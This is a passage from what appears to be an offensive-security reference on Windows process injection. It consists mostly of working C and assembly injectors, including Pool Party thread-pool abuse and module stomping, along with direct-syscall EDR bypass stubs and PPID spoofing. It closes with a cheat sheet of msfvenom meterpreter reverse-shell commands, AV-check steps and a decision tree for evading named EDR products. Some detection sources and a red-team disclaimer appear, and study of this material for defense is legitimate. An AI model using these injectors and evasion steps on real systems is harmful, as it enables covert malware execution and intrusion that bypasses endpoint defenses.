    HANDLE hRemoteThread = CreateRemoteThread(
        hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)entryPoint,
        NULL, 0, NULL
    );
    printf("[+] Thread executing from amsi.dll+EntryPoint: 0x%p\n", entryPoint);

    WaitForSingleObject(hRemoteThread, INFINITE);
    CloseHandle(hRemoteThread);
    CloseHandle(hProcess);
    return 0;
}

[OPSEC] Choose DLLs that are not actively used by the target process. Stomping ntdll.dll will crash the process immediately. Good targets: amsi.dll, winmm.dll, winspool.drv (context-dependent).


9. Pool Party Injection (Thread Pool Abuse)

[INJECT] [EVASION] A set of 8 distinct injection variants using Windows user-mode thread pool objects, presented at Black Hat EU 2023 by SafeBreach. These techniques were found to be undetectable by all tested EDR products at time of disclosure. They avoid the classic execute primitive entirely.

MITRE: T1055 | EDR Noise: Very Low (bypassed all major EDRs at disclosure)

9.1 Core Concept

Normal injection: Allocation → Write → CREATE THREAD (noisy!)

Pool Party insight:
  - EDRs primarily detect the EXECUTION primitive (thread creation, APC)
  - What if we trigger execution by writing to a legitimate memory structure
    that a thread pool worker already watches?
  - Worker factory threads are always running, always alertable
  - No new thread creation needed

Windows Thread Pool architecture:
  ┌──────────────────────────────┐
  │  TpWorkerFactory             │  ← manages worker threads
  │  ├── Worker threads          │  ← already running
  │  ├── TP_WORK items           │  ← queued work items
  │  ├── TP_WAIT items           │  ← waitable items
  │  └── TP_IO items             │  ← I/O completion items
  └──────────────────────────────┘

9.2 Pool Party Variants

Variant Method Execution Trigger
1 Overwrite WorkerFactory start routine Write shellcode addr to KPRCB.WorkerRoutine
2 Insert TP_WORK item NtSetInformationWorkerFactory + TP_WORK
3 Insert TP_WAIT item Associate shellcode with waitable handle
4 Insert TP_IO item Associate with I/O completion port
5 Insert TP_ALPC item ALPC message triggers execution
6 Insert TP_JOB item Job object notification triggers
7 TP_DIRECT execution Direct callback registration
8 Timer callback TP_TIMER item fires after delay

9.3 Variant 1 — Overwrite WorkerFactory Start Routine

// pool_party_v1.c — Overwrite TP worker factory start routine
// Reference: github.com/SafeBreach-Labs/PoolParty
#include <windows.h>
#include <winternl.h>
#include <stdio.h>

// Undocumented structure offsets (Windows 10/11 x64)
// These may change with OS updates — verify with WinDbg
#define WORKER_FACTORY_BASIC_INFORMATION  7
#define TP_WORKER_FACTORY_RELEASE_WORKER 17

typedef struct _WORKER_FACTORY_BASIC_INFORMATION {
    LARGE_INTEGER    Timeout;
    LARGE_INTEGER    RetiredWorkerTimeout;
    LARGE_INTEGER    IdleWorkerTimeout;
    ULONG            TotalWorkerCount;
    ULONG            ReleaseCount;
    LONGLONG         InfiniteWaitGoal;
    PVOID            StartRoutine;      // ← we overwrite this
    PVOID            StartParameter;
    HANDLE           ProcessId;
    ULONG            StackReserve;
    ULONG            StackCommit;
    NTSTATUS         LastThreadCreationStatus;
} WORKER_FACTORY_BASIC_INFORMATION, *PWORKER_FACTORY_BASIC_INFORMATION;

typedef NTSTATUS (NTAPI *pNtQueryInformationWorkerFactory)(
    HANDLE WorkerFactoryHandle,
    ULONG  WorkerFactoryInformationClass,
    PVOID  WorkerFactoryInformation,
    ULONG  WorkerFactoryInformationLength,
    PULONG ReturnLength
);

typedef NTSTATUS (NTAPI *pNtSetInformationWorkerFactory)(
    HANDLE WorkerFactoryHandle,
    ULONG  WorkerFactoryInformationClass,
    PVOID  WorkerFactoryInformation,
    ULONG  WorkerFactoryInformationLength
);

int PoolPartyV1(DWORD pid, unsigned char *shellcode, SIZE_T shellcodeLen) {
    HMODULE hNtdll = GetModuleHandleA("ntdll");
    pNtQueryInformationWorkerFactory fNtQueryWF =
        (pNtQueryInformationWorkerFactory)GetProcAddress(hNtdll, "NtQueryInformationWorkerFactory");
    pNtSetInformationWorkerFactory fNtSetWF =
        (pNtSetInformationWorkerFactory)GetProcAddress(hNtdll, "NtSetInformationWorkerFactory");

    // Get handle to target process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // Get the thread pool's worker factory handle from target process
    // (Requires handle duplication from target — see PoolParty full impl.)
    // For brevity: assume hWorkerFactory is obtained

    WORKER_FACTORY_BASIC_INFORMATION wfbi = { 0 };
    fNtQueryWF(
        /* hWorkerFactory */ NULL,   // populate from target
        WORKER_FACTORY_BASIC_INFORMATION,
        &wfbi, sizeof(wfbi), NULL
    );

    // Write shellcode into target process
    LPVOID shellAddr = VirtualAllocEx(
        hProcess, NULL, shellcodeLen,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );
    WriteProcessMemory(hProcess, shellAddr, shellcode, shellcodeLen, NULL);

    // Overwrite StartRoutine with shellcode address
    wfbi.StartRoutine = shellAddr;
    fNtSetWF(
        /* hWorkerFactory */ NULL,
        WORKER_FACTORY_BASIC_INFORMATION,
        &wfbi, sizeof(wfbi)
    );

    // Release a worker → existing worker thread picks up new StartRoutine
    // → executes our shellcode without creating any new thread
    printf("[+] WorkerFactory StartRoutine overwritten — shellcode will run on next worker dispatch\n");

    CloseHandle(hProcess);
    return 0;
}

[TOOL] Full PoolParty implementation: https://github.com/SafeBreach-Labs/PoolParty

[OPSEC] PoolParty requires handle duplication from the target process's thread pool handle — needs PROCESS_DUP_HANDLE access right or other means to obtain the worker factory handle.


10. Process Target Selection

What it means: Choosing the right injection target is as important as the technique. Injecting into the wrong process causes crashes, EDR alerts, or orphaned shells.

10.1 Good Injection Targets

Tier 1 — Ideal targets (stable, long-lived, trusted):
  svchost.exe         — always running, many instances, network access OK
  explorer.exe        — long-lived, GUI process, often alertable threads
  RuntimeBroker.exe   — Windows component, trusted
  dllhost.exe         — COM surrogate process, trusted
  SearchIndexer.exe   — long-lived, trusted

Tier 2 — Acceptable targets:
  notepad.exe         — predictable but short-lived (user may close it)
  mspaint.exe         — same issue
  Any Office process  — long-lived during engagement but may not be running

Avoid:
  lsass.exe           — highly protected, crash = BSOD
  winlogon.exe        — crash = login broken
  csrss.exe           — crash = BSOD
  smss.exe            — crash = BSOD
  System              — PID 4, kernel process, cannot inject

10.2 Find Process by Name (C)

// find_pid_by_name.c — Returns PID of first matching process
#include <windows.h>
#include <tlhelp32.h>

DWORD GetPidByName(const char *procName) {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
    DWORD pid = 0;

    if (Process32First(snap, &pe)) {
        do {
            if (_stricmp(pe.szExeFile, procName) == 0) {
                pid = pe.th32ProcessID;
                break;
            }
        } while (Process32Next(snap, &pe));
    }
    CloseHandle(snap);
    return pid;
}

// Usage:
// DWORD pid = GetPidByName("svchost.exe");
// Inject into pid...

10.3 Process Architecture Check (x64 vs x86)

// Always verify target architecture before injecting!
BOOL IsProcess64Bit(HANDLE hProcess) {
    BOOL isWow64 = FALSE;
    IsWow64Process(hProcess, &isWow64);
    // If WOW64 is FALSE on x64 OS → the process is 64-bit
    // If WOW64 is TRUE → the process is 32-bit
    return !isWow64;
}
// Never inject 64-bit shellcode into 32-bit process (and vice versa)

11. Handle Acquisition — OpenProcess Patterns

What it means: Every remote injection starts with obtaining a process handle. The access rights you request determine both capability and detection surface.

11.1 Minimum Required Access Per Technique

// Minimum OpenProcess rights per injection technique

// ── Classic CreateRemoteThread injection ──────────────────────────
HANDLE h = OpenProcess(
    PROCESS_CREATE_THREAD |     // for CreateRemoteThread
    PROCESS_VM_OPERATION  |     // for VirtualAllocEx / VirtualFreeEx
    PROCESS_VM_READ       |     // for ReadProcessMemory
    PROCESS_VM_WRITE,           // for WriteProcessMemory
    FALSE, pid
);

// ── Section mapping injection ─────────────────────────────────────
HANDLE h = OpenProcess(
    PROCESS_VM_OPERATION  |     // for NtMapViewOfSection
    PROCESS_CREATE_THREAD |     // for RtlCreateUserThread
    PROCESS_QUERY_INFORMATION,  // for various queries
    FALSE, pid
);

// ── Thread hijacking ──────────────────────────────────────────────
HANDLE hThread = OpenThread(
    THREAD_SUSPEND_RESUME |
    THREAD_GET_CONTEXT    |
    THREAD_SET_CONTEXT,
    FALSE, tid
);

// ── PROCESS_ALL_ACCESS (0x1FFFFF) — maximum, very noisy ──────────
HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// Use only for quick PoC — production code should use minimum rights

[DETECT] EDRs specifically alert on OpenProcess with PROCESS_VM_WRITE targeting protected processes (lsass.exe, csrss.exe). Sysmon Event ID 10 (ProcessAccess) logs all cross-process access attempts.

[EVASION] Use PROCESS_VM_OPERATION instead of PROCESS_ALL_ACCESS. Fewer rights = lower detection score.


12. Direct Syscalls for EDR Bypass

[NATIVE] [EVASION] EDRs install user-mode hooks by patching the first bytes of Windows API functions in ntdll.dll. Direct syscalls bypass these hooks by calling the kernel directly using inline assembly — skipping the hooked ntdll stubs entirely.

12.1 How EDR Hooking Works

Normal API flow (HOOKED by EDR):
  Your code → VirtualAllocEx() → ntdll!NtAllocateVirtualMemory (PATCHED)
                                    ↓
                               JMP to EDR.dll hook
                               EDR scans arguments → logs → alerts
                               ↓
                          (if allowed) syscall to kernel

Direct syscall flow (UNHOOKED):
  Your code → inline syscall instruction (SSN #0x18)
                     ↓
              Direct kernel call — EDR hook BYPASSED

12.2 Direct Syscall — NtAllocateVirtualMemory

; syscall_stub.asm — Direct syscall for NtAllocateVirtualMemory
; Assemble: nasm -f win64 syscall_stub.asm -o syscall_stub.obj

section .text

global NtAllocateVirtualMemory_Direct

NtAllocateVirtualMemory_Direct:
    mov r10, rcx          ; Required by Windows x64 syscall convention
    mov eax, 0x18         ; SSN for NtAllocateVirtualMemory (Windows 10 22H2)
                          ; IMPORTANT: SSN varies by Windows version!
    syscall
    ret
// direct_syscall.c — Using direct syscall stub
// Must link with syscall_stub.obj

extern NTSTATUS NtAllocateVirtualMemory_Direct(
    HANDLE  ProcessHandle,
    PVOID   *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG   AllocationType,
    ULONG   Protect
);

// Use exactly like normal NtAllocateVirtualMemory:
PVOID addr = NULL;
SIZE_T size = 0x1000;
NTSTATUS status = NtAllocateVirtualMemory_Direct(
    hTargetProcess, &addr, 0, &size,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);

12.3 Dynamic SSN Resolution (Avoiding Hardcoded SSNs)

// get_ssn.c — Dynamically resolve syscall numbers from ntdll on disk
// (avoids relying on hardcoded SSNs that differ per Windows build)

#include <windows.h>
#include <stdio.h>

// Read ntdll from disk (unhooked copy), walk exports, find syscall number
DWORD GetSysCallNumber(const char *funcName) {
    // Map ntdll from disk (not from memory — memory copy is hooked)
    HANDLE hFile = CreateFileA(
        "C:\\Windows\\System32\\ntdll.dll",
        GENERIC_READ, FILE_SHARE_READ, NULL,
        OPEN_EXISTING, 0, NULL
    );
    HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    LPVOID ntdllBase = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);

    // Walk PE export table to find function
    IMAGE_DOS_HEADER *dosHdr = (IMAGE_DOS_HEADER *)ntdllBase;
    IMAGE_NT_HEADERS *ntHdr  = (IMAGE_NT_HEADERS *)((BYTE *)ntdllBase + dosHdr->e_lfanew);
    IMAGE_EXPORT_DIRECTORY *expDir = (IMAGE_EXPORT_DIRECTORY *)
        ((BYTE *)ntdllBase + ntHdr->OptionalHeader.DataDirectory[0].VirtualAddress);

    DWORD *names   = (DWORD *)((BYTE *)ntdllBase + expDir->AddressOfNames);
    DWORD *funcs   = (DWORD *)((BYTE *)ntdllBase + expDir->AddressOfFunctions);
    WORD  *ordinals = (WORD  *)((BYTE *)ntdllBase + expDir->AddressOfNameOrdinals);

    for (DWORD i = 0; i < expDir->NumberOfNames; i++) {
        const char *name = (const char *)((BYTE *)ntdllBase + names[i]);
        if (strcmp(name, funcName) == 0) {
            BYTE *funcBytes = (BYTE *)ntdllBase + funcs[ordinals[i]];
            // Syscall number is at offset +4 in the stub:
            // 4C 8B D1          mov r10, rcx
            // B8 XX 00 00 00    mov eax, <SSN>
            DWORD ssn = *(DWORD *)(funcBytes + 4);
            UnmapViewOfFile(ntdllBase);
            CloseHandle(hMapping);
            CloseHandle(hFile);
            return ssn;
        }
    }
    return 0xFFFFFFFF;  // not found
}

// Usage:
// DWORD ssn = GetSysCallNumber("NtAllocateVirtualMemory");
// printf("NtAllocateVirtualMemory SSN: 0x%X\n", ssn);

[TOOL] Tools that automate direct/indirect syscalls: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 - RecycledGate — indirect syscalls using recycled system stubs - HellsGate — dynamic SSN resolution from memory


13. Tools Reference

13.1 Injection Frameworks and PoCs

Tool Description URL
PoolParty 8 thread-pool injection variants, bypassed all EDRs at BH EU 2023 https://github.com/SafeBreach-Labs/PoolParty
Process-Injections-Techniques Collection: Classic, MapView, APC, Thread Hijack (C++) https://github.com/Nero22k/Process-Injections-Techniques
awesome-injection Centralized index of 30+ injection techniques and PoCs https://github.com/itaymigdal/awesome-injection
ProcessInjectionTechniques 25 techniques with labs by Usman Sikander https://offensive-panda.github.io/ProcessInjectionTechniques/
Shellcode-Injection-Techniques C# implementations: Classic, Thread Hijack, APC, Hollow https://github.com/plackyhacker/Shellcode-Injection-Techniques

13.2 Syscall Bypass Tools

Tool Description URL
SysWhispers3 Generates syscall stubs with multiple evasion options https://github.com/klezVirus/SysWhispers3
HellsGate Dynamic SSN resolution from memory-mapped ntdll https://github.com/am0nsec/HellsGate
RecycledGate Indirect syscalls — uses existing syscall gadgets in ntdll https://github.com/thefLink/RecycledGate

13.3 Payload Generation

# Generate shellcode with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f c -o shellcode.c

# Raw binary (for loader embedding)
msfvenom -p windows/x64/meterpreter/reverse_https \
    LHOST=10.10.10.10 LPORT=443 \
    -f raw -o payload.bin

# Havoc / Sliver / Cobalt Strike generate their own shellcode
# All formats can be embedded as unsigned char arrays in injectors

13.4 Detection and Testing Tools

Tool Purpose URL
Get-InjectedThread.ps1 Detects threads with start addresses in non-module memory https://github.com/jaredcatkinson/Get-InjectedThread
Process Hacker View mapped sections, threads, memory protection in real time https://processhacker.sourceforge.io
WinDbg Inspect thread pool structures, section mappings, worker factories (Windows SDK)
x64dbg Trace injector + target process side by side https://x64dbg.com
Sysmon Event ID 8 (CreateRemoteThread), 10 (ProcessAccess) Sysinternals
ThreatCheck Find which bytes trigger AV/EDR on a compiled binary https://github.com/rasta-mouse/ThreatCheck

14. Detection & Evasion

14.1 Detection Vectors by Technique

Classic CreateRemoteThread:
  ├─ Sysmon EID 8  — CreateRemoteThread event logged
  ├─ Sysmon EID 10 — ProcessAccess (OpenProcess with VM_WRITE)
  ├─ EDR hook      — VirtualAllocEx → WriteProcessMemory → CRT sequence
  └─ Memory scan   — RWX region in non-module memory → shellcode scan

Section Mapping (NtMapViewOfSection):
  ├─ Sysmon EID 8  — RtlCreateUserThread still logged as CRT
  ├─ ETW telemetry — NtMapViewOfSection cross-process events
  └─ Memory scan   — Mapped RX region with shellcode (harder to find)

Thread Hijacking:
  ├─ SuspendThread + SetThreadContext on foreign thread — behavioral
  ├─ No new thread created — avoids EID 8
  └─ Risk of process crash if trampoline not implemented

APC Queue:
  ├─ QueueUserAPC targeting foreign thread → alertable wait detection
  ├─ No EID 8 unless new thread is triggered
  └─ Memory scan finds the shellcode in allocated region

EarlyBird:
  ├─ CREATE_SUSPENDED followed by VirtualAllocEx + QueueUserAPC
  ├─ ETW Threat-Intelligence: THREATINT_ALLOCVM_REMOTE
  └─ Kernel PsSetCreateProcessNotifyRoutine can observe spawn+suspend

Module Stomping:
  ├─ No RWX allocation (write→RX before exec) — avoids RWX alerts
  ├─ Thread start in legitimate DLL space → beats GetInjectedThread
  └─ DLL entry point code differs from on-disk DLL → memory scan hit

14.2 ETW Telemetry Sources

ETW — Microsoft-Windows-Threat-Intelligence provider:
  THREATINT_ALLOCVM_REMOTE     — VirtualAllocEx into another process
  THREATINT_WRITEVM_REMOTE     — WriteProcessMemory into another process
  THREATINT_PROTECTVM_REMOTE   — VirtualProtectEx into another process
  THREATINT_MAPVIEW_REMOTE     — NtMapViewOfSection cross-process

These fire at KERNEL level — cannot be bypassed by user-mode patches
Only countermeasures: kernel driver hooking or not using these APIs at all

14.3 Evasion Strategies

1. Avoid RWX memory — use RW → RX flip or section mapping:

// BAD (very detectable):
VirtualAllocEx(hProc, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// BETTER — RW write, then flip to RX:
LPVOID addr = VirtualAllocEx(hProc, NULL, size, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, addr, shellcode, size, NULL);
DWORD old;
VirtualProtectEx(hProc, addr, size, PAGE_EXECUTE_READ, &old);

// BEST — use section mapping (no VirtualAllocEx + WPM in target at all)
NtCreateSection + NtMapViewOfSection

2. Avoid VirtualAllocEx + WriteProcessMemory — use section mapping:

EDR watchlist:        VirtualAllocEx → WriteProcessMemory → CreateRemoteThread
Section mapping avoids ALL THREE of those in the target process

3. Use direct/indirect syscalls to bypass ntdll hooks:

EDR hooks live in ntdll.dll (user mode)
Direct syscall → bypasses ntdll entirely → EDR hook never called
Use SysWhispers3 or HellsGate for dynamic SSN resolution

4. Handle obfuscation — reduce OpenProcess access rights:

// Request minimum rights needed — raises detection threshold
// Avoid PROCESS_ALL_ACCESS (0x1FFFFF) — every EDR flags this on lsass
DWORD minRights = PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION;
HANDLE h = OpenProcess(minRights, FALSE, pid);

5. Indirect syscalls — avoid suspicious syscall stack:

Direct syscall flaw: Stack shows syscall from non-ntdll address (suspicious)
Indirect syscall: Find "syscall; ret" gadget INSIDE ntdll, jump to it
→ Stack shows ntdll as the caller (legitimate-looking)
Tool: RecycledGate, SysWhispers3 with indirect mode

6. PPID Spoofing — fake parent process:

// Make injector appear spawned by explorer.exe or svchost.exe
// Using UpdateProcThreadAttribute with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
STARTUPINFOEX si = { sizeof(STARTUPINFOEX) };
DWORD parentPid = GetPidByName("explorer.exe");
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid);

SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);

CreateProcess(NULL, "your_loader.exe", NULL, NULL, FALSE,
    EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED, NULL, NULL,
    (LPSTARTUPINFO)&si, &pi);

15. Comparison Matrix

Technique EDR Noise Needs WPM Needs CRT RWX Alloc Crash Risk Complexity
Classic CRT Very High YES YES YES Low Very Low
CRT (RW→RX flip) High YES YES No (RW+flip) Low Low
Section Mapping Medium NO No (RtlCUT) No Low Medium
Thread Hijacking Low-Med YES NO YES HIGH High
APC Queue Medium YES NO (APC) YES Low Low
EarlyBird APC Low YES NO (APC) YES Low Medium
Module Stomping Low YES YES No (WP→RX) Medium High
Pool Party Very Low YES NO YES Low Very High
Direct Syscalls Low N/A (wrapper) N/A N/A Low High

WPM = WriteProcessMemory | CRT = CreateRemoteThread / NtCreateThreadEx


16. Cheat Sheet

Quick Workflow — Identify Target → Choose Technique → Execute

# Step 1: Generate shellcode payload
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=192.168.1.100 LPORT=4444 -f c -o shellcode.h

# Step 2: Find a good injection target PID
tasklist /fi "imagename eq svchost.exe"
# or in PowerShell:
Get-Process svchost | Select-Object Id,Name,Path

# Step 3: Check for EDR on the system (determines technique choice)
sc query type= all | findstr /i "sentinel crowdstrike cylinder"
Get-Process | Where-Object { $_.Name -like "*sensor*" -or $_.Name -like "*falcon*" }

# Step 4: Compile chosen injector (cross-compile from Linux)
x86_64-w64-mingw32-gcc classic_inject.c -o inject.exe
x86_64-w64-mingw32-gcc section_mapping_inject.c -o inject.exe -lntdll

# Step 5: Check binary for detection (before deploying)
# ThreatCheck
ThreatCheck.exe -f inject.exe -e Defender
# DefenderCheck
DefenderCheck.exe inject.exe

# Step 6: Execute on target
inject.exe <PID>

Decision Tree — Which Technique to Use?

Injecting shellcode remotely?
│
├─ No EDR present (only Defender)?
│   └─ Classic CRT or APC Queue injection → fast, simple
│
├─ EDR present (CrowdStrike / SentinelOne)?
│   │
│   ├─ Need to avoid new thread creation?
│   │   ├─ APC Queue (existing thread must be alertable)
│   │   └─ Pool Party (thread pool workers — NO new thread at all)
│   │
│   ├─ Need to avoid WriteProcessMemory?
│   │   └─ Section Mapping (memcpy local view → reflects in remote)
│   │
│   ├─ Need shellcode to appear in legitimate module?
│   │   └─ Module Stomping (execute from amsi.dll / winmm.dll space)
│   │
│   ├─ Need to beat ntdll hooks entirely?
│   │   └─ Direct syscalls (SysWhispers3) + Section Mapping
│   │
│   └─ Maximum stealth / APT simulation?
│       └─ EarlyBird + PPID Spoofing + Section Mapping + Direct Syscalls
│           └─ Shellcode encrypted (AES-256) until runtime (see Shellcode Encryption ref)
│
└─ Testing / Lab environment?
    └─ Classic CRT — simplest to implement and debug

API Call Quick Reference

Memory Allocation:
  VirtualAllocEx(hProc, NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
  NtAllocateVirtualMemory(hProc, &addr, 0, &size, MEM_COMMIT, PAGE_READWRITE)
  NtMapViewOfSection(section, hProc, &addr, ...)           ← no VirtualAllocEx

Write:
  WriteProcessMemory(hProc, addr, shellcode, size, NULL)
  NtWriteVirtualMemory(hProc, addr, shellcode, size, NULL)
  memcpy(localSectionAddr, shellcode, size)                ← no WPM to remote!

Execute:
  CreateRemoteThread(hProc, NULL, 0, addr, NULL, 0, NULL)
  NtCreateThreadEx(...)
  RtlCreateUserThread(hProc, NULL, FALSE, 0, 0, 0, addr, NULL, &hThread, NULL)
  QueueUserAPC((PAPCFUNC)addr, hThread, 0)                 ← alertable wait needed
  SetThreadContext(hThread, &ctx)  → ResumeThread(hThread) ← thread hijack

Protection Change:
  VirtualProtectEx(hProc, addr, size, PAGE_EXECUTE_READ, &old)
  NtProtectVirtualMemory(hProc, &addr, &size, PAGE_EXECUTE_READ, &old)

Common Shell Commands

# List all processes with their PIDs (PowerShell)
Get-Process | Sort-Object -Property Id | Format-Table Id, Name, Path -Auto

# Check which DLLs a process has loaded (good for stomping target selection)
Get-Process -Id <PID> | Select-Object -ExpandProperty Modules | Select FileName

# Find svchost.exe instances running specific services
Get-WmiObject Win32_Service | Where-Object { $_.PathName -like "*svchost*" }

# Sysmon: Check for CreateRemoteThread events (EID 8)
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
    Where-Object { $_.Id -eq 8 } | Select-Object -First 10 |
    Format-List TimeCreated, Message

# Check if ntdll is hooked (PowerShell — look for JMP bytes)
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll")
# Compare in-memory ntdll bytes vs on-disk bytes for hook detection

References & Tools

Process Injection Research: - ired.team — Code Injection — https://www.ired.team/offensive-security/code-injection-process-injection - SafeBreach PoolParty — https://github.com/SafeBreach-Labs/PoolParty - awesome-injection by itaymigdal — https://github.com/itaymigdal/awesome-injection - TrustedSec Mapped Sections — https://trustedsec.com/blog/malware-series-process-injection-mapped-sections - ProcessInjectionTechniques (Offensive Panda) — https://offensive-panda.github.io/ProcessInjectionTechniques/

Syscall Bypass: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 - HellsGate — https://github.com/am0nsec/HellsGate - RecycledGate — https://github.com/thefLink/RecycledGate

MITRE ATT&CK: - T1055 Process Injection — https://attack.mitre.org/techniques/T1055/ - T1055.003 Thread Execution Hijacking — https://attack.mitre.org/techniques/T1055/003/ - T1055.004 APC Injection — https://attack.mitre.org/techniques/T1055/004/

Detection: - Get-InjectedThread — https://github.com/jaredcatkinson/Get-InjectedThread - Sysmon — https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon - ThreatCheck — https://github.com/rasta-mouse/ThreatCheck


Note: This document is for authorized red team and security research use only. All techniques described map to MITRE ATT&CK T1055 (Process Injection).

← Malware development top ↑